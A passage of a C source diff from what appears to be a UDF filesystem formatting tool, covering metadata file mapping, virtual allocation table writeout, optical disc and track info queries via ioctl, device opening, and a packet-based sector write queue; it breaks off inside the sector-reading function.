+ +/* for METADATA file appending only */ +static void +udf_append_meta_mapping_part_to_efe(struct extfile_entry *efe, + struct short_ad *mapping) +{ + struct icb_tag *icb; + uint64_t inf_len, obj_size, logblks_rec; + uint32_t l_ad, l_ea; + uint16_t crclen; + uintptr_t bpos; + + inf_len = udf_rw64(efe->inf_len); + obj_size = udf_rw64(efe->obj_size); + logblks_rec = udf_rw64(efe->logblks_rec); + l_ad = udf_rw32(efe->l_ad); + l_ea = udf_rw32(efe->l_ea); + crclen = udf_rw16(efe->tag.desc_crc_len); + icb = &efe->icbtag; + + /* set our allocation to shorts if not already done */ + icb->flags = udf_rw16(UDF_ICB_SHORT_ALLOC); + + /* append short_ad */ + bpos = (uintptr_t)efe->data + l_ea + l_ad; + memcpy((void *)bpos, mapping, sizeof(struct short_ad)); + + l_ad += sizeof(struct short_ad); + crclen += sizeof(struct short_ad); + inf_len += UDF_EXT_LEN(udf_rw32(mapping->len)); + obj_size += UDF_EXT_LEN(udf_rw32(mapping->len)); + logblks_rec = UDF_ROUNDUP(inf_len, context.sector_size) / + context.sector_size; + + efe->l_ad = udf_rw32(l_ad); + efe->inf_len = udf_rw64(inf_len); + efe->obj_size = udf_rw64(obj_size); + efe->logblks_rec = udf_rw64(logblks_rec); + efe->tag.desc_crc_len = udf_rw16(crclen); +} + + +/* for METADATA file appending only */ +static void +udf_append_meta_mapping_to_efe(struct extfile_entry *efe, + uint16_t partnr, uint32_t lb_num, + uint64_t len) +{ + struct short_ad mapping; + uint64_t max_len, part_len; + + /* calculate max length meta allocation sizes */ + max_len = UDF_EXT_MAXLEN / context.sector_size; /* in sectors */ + max_len = (max_len / layout.meta_blockingnr) * layout.meta_blockingnr; + max_len = max_len * context.sector_size; + + memset(&mapping, 0, sizeof(mapping)); + while (len) { + part_len = MIN(len, max_len); + mapping.lb_num = udf_rw32(lb_num); + mapping.len = udf_rw32(part_len); + + udf_append_meta_mapping_part_to_efe(efe, &mapping); + + lb_num += part_len / context.sector_size; + len -= part_len; + } +} + + +int +udf_create_meta_files(void) +{ + struct extfile_entry *efe; + struct long_ad meta_icb; + uint64_t bytes; + uint32_t sector_size; + int filetype, error; + + sector_size = context.sector_size; + + memset(&meta_icb, 0, sizeof(meta_icb)); + meta_icb.len = udf_rw32(sector_size); + meta_icb.loc.part_num = udf_rw16(context.data_part); + + /* create metadata file */ + meta_icb.loc.lb_num = udf_rw32(layout.meta_file); + filetype = UDF_ICB_FILETYPE_META_MAIN; + error = udf_create_new_efe(&efe, filetype, NULL); + if (error) + return error; + context.meta_file = efe; + context.meta_file->unique_id = udf_rw64(0); + + /* create metadata mirror file */ + meta_icb.loc.lb_num = udf_rw32(layout.meta_mirror); + filetype = UDF_ICB_FILETYPE_META_MIRROR; + error = udf_create_new_efe(&efe, filetype, NULL); + if (error) + return error; + context.meta_mirror = efe; + context.meta_mirror->unique_id = udf_rw64(0); + + if (!(context.format_flags & FORMAT_READONLY)) { + /* create metadata bitmap file */ + meta_icb.loc.lb_num = udf_rw32(layout.meta_bitmap); + filetype = UDF_ICB_FILETYPE_META_BITMAP; + error = udf_create_new_efe(&efe, filetype, NULL); + if (error) + return error; + context.meta_bitmap = efe; + context.meta_bitmap->unique_id = udf_rw64(0); + } + + /* restart unique id */ + context.unique_id = 0x10; + + /* XXX no support for metadata mirroring yet */ + /* insert extents */ + efe = context.meta_file; + udf_append_meta_mapping_to_efe(efe, context.data_part, + layout.meta_part_start_lba, + (uint64_t) layout.meta_part_size_lba * sector_size); + + efe = context.meta_mirror; + udf_append_meta_mapping_to_efe(efe, context.data_part, + layout.meta_part_start_lba, + (uint64_t) layout.meta_part_size_lba * sector_size); + + if (context.meta_bitmap) { + efe = context.meta_bitmap; + bytes = udf_space_bitmap_len(layout.meta_part_size_lba); + udf_append_meta_mapping_to_efe(efe, context.data_part, + layout.meta_bitmap_space, bytes); + } + + return 0; +} + + +/* --------------------------------------------------------------------- */ + +int +udf_create_new_rootdir(union dscrptr **dscr) +{ + struct file_entry *fe; + struct extfile_entry *efe; + struct long_ad root_icb; + int filetype, error; + + memset(&root_icb, 0, sizeof(root_icb)); + root_icb.len = udf_rw32(context.sector_size); + root_icb.loc.lb_num = udf_rw32(layout.rootdir); + root_icb.loc.part_num = udf_rw16(context.metadata_part); + + filetype = UDF_ICB_FILETYPE_DIRECTORY; + if (context.dscrver == 2) { + error = udf_create_new_fe(&fe, filetype, NULL); + *dscr = (union dscrptr *) fe; + } else { + error = udf_create_new_efe(&efe, filetype, NULL); + *dscr = (union dscrptr *) efe; + } + if (error) + return error; + + /* append '..' */ + udf_append_parentfid(*dscr, &root_icb); + + /* rootdir has explicit only one link on creation; '..' is no link */ + if (context.dscrver == 2) { + fe->link_cnt = udf_rw16(1); + } else { + efe->link_cnt = udf_rw16(1); + } + + context.num_directories++; + assert(context.num_directories == 1); + + return 0; +} + + +void +udf_prepend_VAT_file(void) +{ + /* old style VAT has no prepend */ + if (context.dscrver == 2) { + context.vat_start = 0; + context.vat_size = 0; + return; + } + + context.vat_start = offsetof(struct udf_vat, data); + context.vat_size = offsetof(struct udf_vat, data); +} + + +void +udf_vat_update(uint32_t virt, uint32_t phys) +{ + uint32_t *vatpos; + uint32_t new_size; + + if (context.vtop_tp[context.metadata_part] != UDF_VTOP_TYPE_VIRT) + return; + + new_size = MAX(context.vat_size, + (context.vat_start + (virt+1)*sizeof(uint32_t))); + + if (new_size > context.vat_allocated) { + context.vat_allocated = + UDF_ROUNDUP(new_size, context.sector_size); + context.vat_contents = realloc(context.vat_contents, + context.vat_allocated); + assert(context.vat_contents); + /* XXX could also report error */ + } + vatpos = (uint32_t *) (context.vat_contents + context.vat_start); + vatpos[virt] = udf_rw32(phys); + + context.vat_size = MAX(context.vat_size, + (context.vat_start + (virt+1)*sizeof(uint32_t))); +} + + +int +udf_append_VAT_file(void) +{ + struct udf_oldvat_tail *oldvat_tail; + struct udf_vat *vathdr; + int32_t len_diff; + + /* new style VAT has VAT LVInt analog in front */ + if (context.dscrver == 3) { + /* set up VATv2 descriptor */ + vathdr = (struct udf_vat *) context.vat_contents; + vathdr->header_len = udf_rw16(sizeof(struct udf_vat) - 1); + vathdr->impl_use_len = udf_rw16(0); + memcpy(vathdr->logvol_id, context.logical_vol->logvol_id, 128); + vathdr->prev_vat = udf_rw32(UDF_NO_PREV_VAT); + vathdr->num_files = udf_rw32(context.num_files); + vathdr->num_directories = udf_rw32(context.num_directories); + + vathdr->min_udf_readver = udf_rw16(context.min_udf); + vathdr->min_udf_writever = udf_rw16(context.min_udf); + vathdr->max_udf_writever = udf_rw16(context.max_udf); + + return 0; + } + + /* old style VAT has identifier appended */ + + /* append "*UDF Virtual Alloc Tbl" id and prev. VAT location */ + len_diff = context.vat_allocated - context.vat_size; + assert(len_diff >= 0); + if (len_diff < (int32_t) sizeof(struct udf_oldvat_tail)) { + context.vat_allocated += context.sector_size; + context.vat_contents = realloc(context.vat_contents, + context.vat_allocated); + assert(context.vat_contents); + /* XXX could also report error */ + } + + oldvat_tail = (struct udf_oldvat_tail *) (context.vat_contents + + context.vat_size); + + udf_set_regid(&oldvat_tail->id, "*UDF Virtual Alloc Tbl"); + udf_add_udf_regid(&oldvat_tail->id); + oldvat_tail->prev_vat = udf_rw32(UDF_NO_PREV_VAT); + + context.vat_size += sizeof(struct udf_oldvat_tail); + + return 0; +} + + +int +udf_create_VAT(union dscrptr **vat_dscr, struct long_ad *vatdata_loc) +{ + struct impl_extattr_entry *implext; + struct vatlvext_extattr_entry *vatlvext; + struct long_ad *allocpos; + uint8_t *bpos, *extattr; + uint32_t ea_len, inf_len, vat_len, blks; + int filetype; + int error; + + assert((layout.rootdir < 2) && (layout.fsd < 2)); + + if (context.dscrver == 2) { + struct file_entry *fe; + + /* old style VAT */ + filetype = UDF_ICB_FILETYPE_UNKNOWN; + error = udf_create_new_fe(&fe, filetype, NULL); + if (error) + return error; + + /* append VAT LVExtension attribute */ + ea_len = sizeof(struct impl_extattr_entry) - 2 + 4 + + sizeof(struct vatlvext_extattr_entry); + + extattr = calloc(1, ea_len); + + implext = (struct impl_extattr_entry *) extattr; + implext->hdr.type = udf_rw32(2048); /* [4/48.10.8] */ + implext->hdr.subtype = 1; /* [4/48.10.8.2] */ + implext->hdr.a_l = udf_rw32(ea_len); /* VAT LVext EA size */ + /* use 4 bytes of imp use for UDF checksum [UDF 3.3.4.5] */ + implext->iu_l = udf_rw32(4); + udf_set_regid(&implext->imp_id, "*UDF VAT LVExtension"); + udf_add_udf_regid(&implext->imp_id); + + /* VAT LVExtension data follows UDF IU space */ + bpos = ((uint8_t *) implext->data) + 4; + vatlvext = (struct vatlvext_extattr_entry *) bpos; + + vatlvext->unique_id_chk = fe->unique_id; + vatlvext->num_files = udf_rw32(context.num_files); + vatlvext->num_directories = udf_rw32(context.num_directories); + memcpy(vatlvext->logvol_id, context.logical_vol->logvol_id,128); + + udf_extattr_insert_internal((union dscrptr *) fe, + (struct extattr_entry *) extattr); + + free(extattr); + + fe->icbtag.flags = udf_rw16(UDF_ICB_LONG_ALLOC); + + allocpos = (struct long_ad *) (fe->data + udf_rw32(fe->l_ea)); + *allocpos = *vatdata_loc; + + /* set length */ + inf_len = context.vat_size; + fe->inf_len = udf_rw64(inf_len); + allocpos->len = udf_rw32(inf_len); + fe->l_ad = udf_rw32(sizeof(struct long_ad)); + blks = UDF_ROUNDUP(inf_len, context.sector_size) / + context.sector_size; + fe->logblks_rec = udf_rw64(blks); + + /* update vat descriptor's CRC length */ + vat_len = sizeof(struct file_entry) - 1 - UDF_DESC_TAG_LENGTH; + vat_len += udf_rw32(fe->l_ad) + udf_rw32(fe->l_ea); + fe->tag.desc_crc_len = udf_rw16(vat_len); + + *vat_dscr = (union dscrptr *) fe; + } else { + /* the choice is between an EFE or an FE as VAT */ +#if 1 + struct extfile_entry *efe; + + /* new style VAT on FE */ + filetype = UDF_ICB_FILETYPE_VAT; + error = udf_create_new_efe(&efe, filetype, NULL); + if (error) + return error; + + efe->icbtag.flags = udf_rw16(UDF_ICB_LONG_ALLOC); + + allocpos = (struct long_ad *) efe->data; + *allocpos = *vatdata_loc; + + /* set length */ + inf_len = context.vat_size; + efe->inf_len = udf_rw64(inf_len); + allocpos->len = udf_rw32(inf_len); + efe->obj_size = udf_rw64(inf_len); + efe->l_ad = udf_rw32(sizeof(struct long_ad)); + blks = UDF_ROUNDUP(inf_len, context.sector_size) / + context.sector_size; + efe->logblks_rec = udf_rw32(blks); + + vat_len = sizeof(struct extfile_entry)-1 - UDF_DESC_TAG_LENGTH; + vat_len += udf_rw32(efe->l_ad); + efe->tag.desc_crc_len = udf_rw16(vat_len); + + *vat_dscr = (union dscrptr *) efe; +#else + struct file_entry *fe; + uint32_t l_ea; + + /* new style VAT on EFE */ + filetype = UDF_ICB_FILETYPE_VAT; + error = udf_create_new_fe(&fe, filetype, NULL); + if (error) + return error; + + fe->icbtag.flags = udf_rw16(UDF_ICB_LONG_ALLOC); + + l_ea = udf_rw32(fe->l_ea); + allocpos = (struct long_ad *) (fe->data + l_ea); + *allocpos = *vatdata_loc; + + /* set length */ + inf_len = context.vat_size; + fe->inf_len = udf_rw64(inf_len); + allocpos->len = udf_rw32(inf_len); + fe->l_ad = udf_rw32(sizeof(struct long_ad)); + blks = UDF_ROUNDUP(inf_len, context.sector_size) / + context.sector_size; + fe->logblks_rec = udf_rw64(blks); + + vat_len = sizeof(struct file_entry)-1 - UDF_DESC_TAG_LENGTH; + vat_len += udf_rw32(fe->l_ad) + udf_rw32(fe->l_ea); + fe->tag.desc_crc_len = udf_rw16(vat_len); + + *vat_dscr = (union dscrptr *) fe; +#endif + } + + return 0; +} + + +int +udf_writeout_VAT(void) +{ + union dscrptr *vat_dscr; + struct long_ad vatdata; + uint32_t loc, phys, ext, sects; + int rel_block, rest_block, error; + + vat_dscr = NULL; + /* update lvint to reflect the newest values (no writeout) */ + udf_update_lvintd(UDF_INTEGRITY_CLOSED); + + error = udf_append_VAT_file(); + if (error) + return error; + + /* write out VAT data */ + sects = UDF_ROUNDUP(context.vat_size, context.sector_size) / + context.sector_size; + layout.vat = context.alloc_pos[context.data_part]; + udf_data_alloc(sects, &vatdata); +//printf("layout.vat %d\n", layout.vat + udf_rw32(context.partitions[context.data_part]->start_loc)); + + loc = udf_rw32(vatdata.loc.lb_num); + udf_translate_vtop(loc, context.data_part, &phys, &ext); + + error = udf_write_phys(context.vat_contents, phys, sects); + if (error) + return error; + loc += sects; + + /* create new VAT descriptor */ + error = udf_create_VAT(&vat_dscr, &vatdata); + if (error) + return error; + +//printf("VAT data at %d\n", vatdata.loc.lb_num); +//printf("VAT itself at %d\n", loc + udf_rw32(context.partitions[context.data_part]->start_loc)); + + /* at least one */ + error = udf_write_dscr_virt(vat_dscr, loc, context.data_part, 1); + loc++; + + error = udf_translate_vtop(loc, context.data_part, &phys, &ext); + assert(!error); + + rel_block = phys - (UDF_ROUNDDOWN(phys, layout.blockingnr) + wrtrack_skew); + rest_block = layout.blockingnr - rel_block; + + for (int i = 0; i < rest_block; i++) { + error = udf_write_dscr_virt(vat_dscr, loc, context.data_part, 1); + loc++; + } + free(vat_dscr); + + return error; +} + + +/* --------------------------------------------------------------------- */ +/* + * mmc_discinfo and mmc_trackinfo readers modified from origional in udf main + * code in sys/fs/udf/ + */ + +void +udf_dump_discinfo(struct mmc_discinfo *di) +{ +#ifdef DEBUG + char bits[128]; + + printf("Device/media info :\n"); + printf("\tMMC profile 0x%02x\n", di->mmc_profile); + printf("\tderived class %d\n", di->mmc_class); + printf("\tsector size %d\n", di->sector_size); + printf("\tdisc state %d\n", di->disc_state); + printf("\tlast ses state %d\n", di->last_session_state); + printf("\tbg format state %d\n", di->bg_format_state); + printf("\tfrst track %d\n", di->first_track); + printf("\tfst on last ses %d\n", di->first_track_last_session); + printf("\tlst on last ses %d\n", di->last_track_last_session); + printf("\tlink block penalty %d\n", di->link_block_penalty); + snprintb(bits, sizeof(bits), MMC_DFLAGS_FLAGBITS, (uint64_t) di->disc_flags); + printf("\tdisc flags %s\n", bits); + printf("\tdisc id %x\n", di->disc_id); + printf("\tdisc barcode %"PRIx64"\n", di->disc_barcode); + + printf("\tnum sessions %d\n", di->num_sessions); + printf("\tnum tracks %d\n", di->num_tracks); + + snprintb(bits, sizeof(bits), MMC_CAP_FLAGBITS, di->mmc_cur); + printf("\tcapabilities cur %s\n", bits); + snprintb(bits, sizeof(bits), MMC_CAP_FLAGBITS, di->mmc_cap); + printf("\tcapabilities cap %s\n", bits); + printf("\n"); + printf("\tlast_possible_lba %d\n", di->last_possible_lba); + printf("\n"); +#endif +} + + +void +udf_synchronise_caches(void) +{ +#if !HAVE_NBTOOL_CONFIG_H + struct mmc_op mmc_op; + + bzero(&mmc_op, sizeof(struct mmc_op)); + mmc_op.operation = MMC_OP_SYNCHRONISECACHE; + + /* this device might not know this ioct, so just be ignorant */ + (void) ioctl(dev_fd, MMCOP, &mmc_op); +#endif +} + + +/* + * General Idea: + * + * stat the dev_fd + * + * If a S_ISREG(), we emulate using the emul_* settings. + * + * If its a device : + * try the MMCGETDISCINFO ioctl() and be done. + * + * If that fails, its a regular disc and set the type to disc media. + * + */ + + +int +udf_update_discinfo(void) +{ + off_t size, last_sector, secsize; + int error; + + memset(&mmc_discinfo, 0, sizeof(struct mmc_discinfo)); + +#if !HAVE_NBTOOL_CONFIG_H + /* check if we're on a MMC capable device, i.e. CD/DVD */ + error = ioctl(dev_fd, MMCGETDISCINFO, &mmc_discinfo); + if (error == 0) { + if ((emul_mmc_profile != -1) && + (emul_mmc_profile != mmc_discinfo.mmc_profile)) { + errno = EINVAL; + perror("media and specified disc type mismatch"); + return errno; + } + emul_size = 0; + return 0; + } +#endif + + if (S_ISREG(dev_fd_stat.st_mode)) { + /* file support; we pick the minimum sector size allowed */ + if (emul_mmc_profile < 0) + emul_mmc_profile = 0x01; + if (emul_size == 0) + emul_size = dev_fd_stat.st_size; + size = emul_size; + secsize = emul_sectorsize; + last_sector = (size / secsize) - 1; + if (ftruncate(dev_fd, size)) { + perror("can't resize file"); + return EXIT_FAILURE; + } + } else { +#if !HAVE_NBTOOL_CONFIG_H +#if 0 + struct disk_geom geo; + struct dkwedge_info dkw; + + /* sanity */ + if (emul_mmc_profile <= 0) + emul_mmc_profile = 0x01; + if (emul_mmc_profile != 0x01) { + warnx("format incompatible with disc partition"); + return EXIT_FAILURE; + } + + /* get our disc info */ + error = getdiskinfo(dev_name, dev_fd, NULL, &geo, &dkw); + if (error) { + warn("retrieving disc info failed"); + return EXIT_FAILURE; + } + secsize = emul_sectorsize; + last_sector = (dkw.dkw_size - 1) * geo.dg_secsize / secsize; +#endif +#else + warnx("disk partitions only usable outside tools"); + return EIO; +#endif + } + + /* commons */ + mmc_discinfo.mmc_profile = emul_mmc_profile; + mmc_discinfo.disc_state = MMC_STATE_CLOSED; + mmc_discinfo.last_session_state = MMC_STATE_CLOSED; + mmc_discinfo.bg_format_state = MMC_BGFSTATE_COMPLETED; + mmc_discinfo.link_block_penalty = 0; + + mmc_discinfo.disc_flags = MMC_DFLAGS_UNRESTRICTED; + + mmc_discinfo.last_possible_lba = last_sector; + mmc_discinfo.sector_size = secsize; + + mmc_discinfo.num_sessions = 1; + mmc_discinfo.num_tracks = 1; + + mmc_discinfo.first_track = 1; + mmc_discinfo.first_track_last_session = mmc_discinfo.last_track_last_session = 1; + + mmc_discinfo.mmc_cur = MMC_CAP_RECORDABLE | MMC_CAP_ZEROLINKBLK; + switch (emul_mmc_profile) { + case 0x00: /* unknown, treat as CDROM */ + case 0x08: /* CDROM */ + case 0x10: /* DVDROM */ + case 0x40: /* BDROM */ + /* FALLTHROUGH */ + case 0x01: /* disc */ + /* set up a disc info profile for partitions/files */ + mmc_discinfo.mmc_class = MMC_CLASS_DISC; + mmc_discinfo.mmc_cur |= MMC_CAP_REWRITABLE | MMC_CAP_HW_DEFECTFREE; + break; + case 0x09: /* CD-R */ + mmc_discinfo.mmc_class = MMC_CLASS_CD; + mmc_discinfo.mmc_cur |= MMC_CAP_SEQUENTIAL; + mmc_discinfo.disc_state = MMC_STATE_EMPTY; + break; + case 0x0a: /* CD-RW + CD-MRW (regretably) */ + mmc_discinfo.mmc_class = MMC_CLASS_CD; + mmc_discinfo.mmc_cur |= MMC_CAP_REWRITABLE; + break; + case 0x13: /* DVD-RW */ + case 0x1a: /* DVD+RW */ + mmc_discinfo.mmc_class = MMC_CLASS_DVD; + mmc_discinfo.mmc_cur |= MMC_CAP_REWRITABLE; + break; + case 0x11: /* DVD-R */ + case 0x14: /* DVD-RW sequential */ + case 0x1b: /* DVD+R */ + case 0x2b: /* DVD+R DL */ + case 0x51: /* HD DVD-R */ + mmc_discinfo.mmc_class = MMC_CLASS_DVD; + mmc_discinfo.mmc_cur |= MMC_CAP_SEQUENTIAL; + mmc_discinfo.disc_state = MMC_STATE_EMPTY; + break; + case 0x41: /* BD-R */ + mmc_discinfo.mmc_class = MMC_CLASS_BD; + mmc_discinfo.mmc_cur |= MMC_CAP_SEQUENTIAL | MMC_CAP_HW_DEFECTFREE; + mmc_discinfo.disc_state = MMC_STATE_EMPTY; + break; + case 0x43: /* BD-RE */ + mmc_discinfo.mmc_class = MMC_CLASS_BD; + mmc_discinfo.mmc_cur |= MMC_CAP_REWRITABLE | MMC_CAP_HW_DEFECTFREE; + break; + default: + errno = EINVAL; + perror("unknown or unimplemented device type"); + return errno; + } + mmc_discinfo.mmc_cap = mmc_discinfo.mmc_cur; + + return 0; +} + + +int +udf_update_trackinfo(struct mmc_trackinfo *ti) +{ + int error, class; + +#if !HAVE_NBTOOL_CONFIG_H + class = mmc_discinfo.mmc_class; + if (class != MMC_CLASS_DISC) { + /* tracknr specified in struct ti */ + error = ioctl(dev_fd, MMCGETTRACKINFO, ti); + if (!error) + return 0; + } +#endif + + /* discs partition support */ + if (ti->tracknr != 1) + return EIO; + + /* create fake ti (TODO check for resized vnds) */ + ti->sessionnr = 1; + + ti->track_mode = 0; /* XXX */ + ti->data_mode = 0; /* XXX */ + ti->flags = MMC_TRACKINFO_LRA_VALID | MMC_TRACKINFO_NWA_VALID; + + ti->track_start = 0; + ti->packet_size = emul_packetsize; + + /* TODO support for resizable vnd */ + ti->track_size = mmc_discinfo.last_possible_lba; + ti->next_writable = mmc_discinfo.last_possible_lba + 1; //0; + ti->last_recorded = ti->next_writable; + ti->free_blocks = 0; + + return 0; +} + + +int +udf_opendisc(const char *device, int open_flags) +{ + /* set global variable to the passed name */ + dev_name = strdup(device); + + /* open device */ + if (open_flags & O_RDONLY) { + dev_fd_rdonly = 1; + if ((dev_fd = open(dev_name, O_RDONLY, 0)) == -1) { + warn("device/image not found"); + return EXIT_FAILURE; + } + } else { + dev_fd_rdonly = 0; + if ((dev_fd = open(dev_name, O_RDWR, 0)) == -1) { + /* check if we need to create a file */ + dev_fd = open(dev_name, O_RDONLY, 0); + if (dev_fd > 0) { + warn("device is there but can't be opened for " + "read/write"); + return EXIT_FAILURE; + } + if ((open_flags & O_CREAT) == 0) { + warnx("device/image not found"); + return EXIT_FAILURE; + } + /* need to create a file */ + dev_fd = open(dev_name, O_RDWR | O_CREAT | O_TRUNC, 0666); + if (dev_fd == -1) { + warn("can't create image file"); + return EXIT_FAILURE; + } + } + } + + /* stat the device/image */ + if (fstat(dev_fd, &dev_fd_stat) != 0) { + warn("can't stat the disc image"); + return EXIT_FAILURE; + } + + /* sanity check and resizing of file */ + if (S_ISREG(dev_fd_stat.st_mode)) { + if (emul_size == 0) + emul_size = dev_fd_stat.st_size; + /* sanitise arguments */ + emul_sectorsize &= ~511; + if (emul_size & (emul_sectorsize-1)) { + warnx("size of file is not a multiple of sector size, " + "shrinking"); + emul_size -= emul_size & (emul_sectorsize-1); + } + + /* grow the image */ + if (ftruncate(dev_fd, emul_size)) { + warn("can't resize file"); + return EXIT_FAILURE; + } + /* restat the device/image */ + if (fstat(dev_fd, &dev_fd_stat) != 0) { + warn("can't re-stat the disc image"); + return EXIT_FAILURE; + } + } else { + if (!S_ISCHR(dev_fd_stat.st_mode)) { + warnx("%s is not a raw device", dev_name); + return EXIT_FAILURE; + } + } + + /* just in case something went wrong, synchronise the drive's cache */ + udf_synchronise_caches(); + if (udf_update_discinfo()) { + warnx("update discinfo failed"); + return EXIT_FAILURE; + } + + /* honour minimum sector size of the device */ + if (mmc_discinfo.sector_size > context.sector_size) + context.sector_size = mmc_discinfo.sector_size; + + if (mmc_discinfo.mmc_cur & MMC_CAP_SEQUENTIAL) + udf_init_writequeue(UDF_WRITE_SEQUENTIAL); + else { + udf_init_writequeue(UDF_WRITE_PACKET); + } + return 0; +} + + +void +udf_closedisc(void) +{ + if (!write_queue_suspend) { + udf_writeout_writequeue(true); + assert(write_queuelen == 0); + } + + udf_synchronise_caches(); + if (dev_fd) + close(dev_fd); +} + +/* --------------------------------------------------------------------- */ + +static int +udf_setup_writeparams(void) +{ +#if !HAVE_NBTOOL_CONFIG_H + struct mmc_writeparams mmc_writeparams; + int error; + + if (mmc_discinfo.mmc_class == MMC_CLASS_DISC) + return 0; + + if (S_ISREG(dev_fd_stat.st_mode)) + return 0; + + /* + * only CD burning normally needs setting up, but other disc types + * might need other settings to be made. The MMC framework will set up + * the necessary recording parameters according to the disc + * characteristics read in. Modifications can be made in the discinfo + * structure passed to change the nature of the disc. + */ + memset(&mmc_writeparams, 0, sizeof(struct mmc_writeparams)); + mmc_writeparams.mmc_class = mmc_discinfo.mmc_class; + mmc_writeparams.mmc_cur = mmc_discinfo.mmc_cur; + + /* + * UDF dictates first track to determine track mode for the whole + * disc. [UDF 1.50/6.10.1.1, UDF 1.50/6.10.2.1] + * To prevent problems with a `reserved' track in front we start with + * the 2nd track and if that is not valid, go for the 1st. + */ + mmc_writeparams.tracknr = 2; + mmc_writeparams.data_mode = MMC_DATAMODE_DEFAULT; /* XA disc */ + mmc_writeparams.track_mode = MMC_TRACKMODE_DEFAULT; /* data */ + + error = ioctl(dev_fd, MMCSETUPWRITEPARAMS, &mmc_writeparams); + if (error) { + mmc_writeparams.tracknr = 1; + error = ioctl(dev_fd, MMCSETUPWRITEPARAMS, &mmc_writeparams); + } + return error; +#else + return 0; +#endif +} + + +/* + * On sequential recordable media, we might need to close the last session to + * be able to write new anchors/new fs. + */ +static int +udf_open_new_session(void) +{ +#if !HAVE_NBTOOL_CONFIG_H + struct mmc_trackinfo ti; + struct mmc_op op; + int tracknr, error; + + /* if the drive is not sequential, we're done */ + if ((mmc_discinfo.mmc_cur & MMC_CAP_SEQUENTIAL) == 0) + return 0; + + /* close the last session if its still open */ + if (mmc_discinfo.last_session_state == MMC_STATE_INCOMPLETE) { + /* + * Leave the disc alone if force format is not set, it will + * error out later + */ + if (!context.create_new_session) + return 0; + +// printf("Closing last open session if present\n"); + /* close all associated tracks */ + tracknr = mmc_discinfo.first_track_last_session; + while (tracknr <= mmc_discinfo.last_track_last_session) { + ti.tracknr = tracknr; + error = udf_update_trackinfo(&ti); + if (error) + return error; +// printf("\tClosing open track %d\n", tracknr); + memset(&op, 0, sizeof(op)); + op.operation = MMC_OP_CLOSETRACK; + op.mmc_profile = mmc_discinfo.mmc_profile; + op.tracknr = tracknr; + error = ioctl(dev_fd, MMCOP, &op); + if (error) + return error; + tracknr ++; + } +// printf("Closing session\n"); + memset(&op, 0, sizeof(op)); + op.operation = MMC_OP_CLOSESESSION; + op.mmc_profile = mmc_discinfo.mmc_profile; + op.sessionnr = mmc_discinfo.num_sessions; + error = ioctl(dev_fd, MMCOP, &op); + if (error) + return error; + + /* update discinfo since it changed by the operations */ + error = udf_update_discinfo(); + if (error) + return error; + } +#endif + return 0; +} + + +/* bit paranoid but tracks may need repair before they can be written to */ +static void +udf_repair_tracks(void) +{ +#if !HAVE_NBTOOL_CONFIG_H + struct mmc_trackinfo ti; + struct mmc_op op; + int tracknr, error; + + tracknr = mmc_discinfo.first_track_last_session; + while (tracknr <= mmc_discinfo.last_track_last_session) { + ti.tracknr = tracknr; + error = udf_update_trackinfo(&ti); + if (error) { + warnx("error updating track information for track %d", + tracknr); + /* resume */ + tracknr++; + continue; + } + + if (ti.flags & MMC_TRACKINFO_DAMAGED) { + /* + * Need to repair last track before anything can be done. + * this is an optional command, so ignore its error but report + * warning. + */ + memset(&op, 0, sizeof(op)); + op.operation = MMC_OP_REPAIRTRACK; + op.mmc_profile = mmc_discinfo.mmc_profile; + op.tracknr = ti.tracknr; + error = ioctl(dev_fd, MMCOP, &op); + + if (error) + warnx("drive notifies it can't explicitly repair " + "damaged track, but it might autorepair\n"); + } + tracknr++; + } + /* tracks (if any) might not be damaged now, operations are ok now */ +#endif +} + + +int +udf_prepare_disc(void) +{ +#if !HAVE_NBTOOL_CONFIG_H + int error; + + /* setup write parameters from discinfo */ + error = udf_setup_writeparams(); + if (error) + return error; + + udf_repair_tracks(); + + /* open new session if needed */ + return udf_open_new_session(); +#endif + return 0; +} + + +/* --------------------------------------------------------------------- */ + +/* + * write queue implementation + */ + +void +udf_suspend_writing(void) +{ + write_queue_suspend = 1; +} + + +void +udf_allow_writing(void) +{ + write_queue_suspend = 0; +} + + +static void +udf_init_writequeue(int write_strategy) +{ + context.write_strategy = write_strategy; + write_queue_suspend = 0; + + /* setup sector writeout queue's */ + TAILQ_INIT(&write_queue); + write_queuelen = 0; +} + + +int +udf_write_sector(void *sector, uint64_t location) +{ + struct wrpacket *packet, *found_packet; + uint64_t rel_loc; + uint64_t blockingnr = layout.blockingnr; + int error; + + assert(!dev_fd_rdonly); + assert(blockingnr >= 1); + assert(blockingnr <= 64); + + /* + * We have a write strategy but in practice packet writing is + * preferable for all media types. + */ + +again: + /* search location */ + found_packet = NULL; + TAILQ_FOREACH_REVERSE(packet, &write_queue, wrpacket_list, next) { + if (packet->start_sectornr <= location) { + found_packet = packet; + break; + } + } + + /* are we in a current packet? */ + if (found_packet) { + uint64_t base = found_packet->start_sectornr; + if ((location >= base) && (location -base < blockingnr)) { + /* fill in existing packet */ + rel_loc = location - base; + memcpy(found_packet->packet_data + + rel_loc * context.sector_size, + sector, context.sector_size); + found_packet->present |= ((uint64_t) 1 << rel_loc); + return 0; + } + } + + if ((write_queuelen > UDF_MAX_QUEUELEN) && !write_queue_suspend) { + /* we purge the queue and reset found_packet! */ + error = udf_writeout_writequeue(false); + if (error) + return error; + goto again; + } + + /* create new packet */ + packet = calloc(1, sizeof(struct wrpacket)); + if (packet == NULL) + return errno; + packet->packet_data = calloc(1, context.sector_size * blockingnr); + if (packet->packet_data == NULL) { + free(packet); + return errno; + } + packet->start_sectornr = + UDF_ROUNDDOWN(location, blockingnr) + wrtrack_skew; + rel_loc = location - packet->start_sectornr; + + memcpy(packet->packet_data + + rel_loc * context.sector_size, + sector, context.sector_size); + packet->present = ((uint64_t) 1 << rel_loc); + + if (found_packet) { + TAILQ_INSERT_AFTER(&write_queue, found_packet, packet, next); + } else { + TAILQ_INSERT_HEAD(&write_queue, packet, next); + } + write_queuelen++; + + return 0; +} + + +int +udf_read_sector(void *sector, uint64_t location) +{ + struct wrpacket *packet, *found_packet; + ssize_t ret; + uint64_t rpos, rel_loc; + uint64_t blockingnr = layout.blockingnr; + + rpos = (uint64_t) location * context.sector_size; + + /* search location */ + found_packet = NULL; + TAILQ_FOREACH_REVERSE(packet, &write_queue, wrpacket_list, next) { + if (packet->start_sectornr <= location) { + found_packet = packet; + break; + } + } + + /* are we in a current packet? */ + if (found_packet) { + uint64_t base = found_packet->start_sectornr; + if ((location >= base) && (location -base < blockingnr)) { + /* fill in existing packet */ + rel_loc = location - base; + if (found_packet->present & ((uint64_t) 1 << rel_loc)) { + memcpy(sector, found_packet->packet_data + + rel_loc * context.sector_size, + 